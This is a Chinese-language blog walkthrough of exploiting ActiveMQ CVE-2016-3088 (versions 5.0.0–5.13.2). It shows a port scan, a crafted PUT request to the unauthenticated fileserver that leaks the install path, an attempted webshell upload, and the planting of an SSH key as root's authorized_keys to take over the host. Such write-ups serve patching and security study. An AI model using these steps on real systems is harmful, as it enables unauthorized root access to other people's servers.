ActiveMQ漏洞( CVE-2016-3088)利用拿下root权限主机
前言:
ActiveMQ 是 Apache 软件基金会下的一个开源消息驱动中间件软件。Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。
ActiveMQ 的 web 控制台分三个应用,admin、api 和 fileserver,其中 admin 是管理员页面,api 是接口,fileserver 是储存文件的接口;admin 和 api 都需要登录后才能使用,fileserver 无需登录;
fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作;
利用方法:写入webshell,好处是门槛低更方便,但fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限。
1.扫描目标主机
MacPC:~ liuxin$ nmap -Pn -p8161 -sV 192.168.xx.xx --open
Starting Nmap 6.47 ( http://nmap.org ) at 2016-07-19 11:23 CST
Nmap scan report for 192.168.xx.xx
Host is up (0.054s latency).
PORT STATE SERVICE VERSION
8161/tcp open http Jetty 7.6.7.v20120910
2.爆ActiveMQ路径
PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1
Host: 192.168.12.89:8161
Content-Length: 13
fdsafdsfadfas
返回如下
HTTP/1.1 500 /home/pbcsapp/apache-activemq-5.7.0/webapps/fileserver//.././ (No such file or directory)
Content-Length: 0
Server: Jetty(7.6.7.v20120910)
得到绝对路径
3.上传木马并MOVE到fileserver/目录
浏览器访问木马
发现木马文件上传成功后并不能执行,菜刀和K8一句话都失败。(该目录不能解析JSP)
因此需move到admin或api目录下执行。
4.转换思路直接获取目标root权限
4.1 本地使用ssh-keygen生成密钥对(.ssh
目录下)
# ssh-keygen -t RSA
4.2 上传id_rsa.pub
到服务器,然后移动到/root/.ssh/
并重命名为authorized_keys
;
4.3 远程直接访问目标主机
搞定!
受影响系统:
Apache Group ActiveMQ 5.0.0 - 5.13.2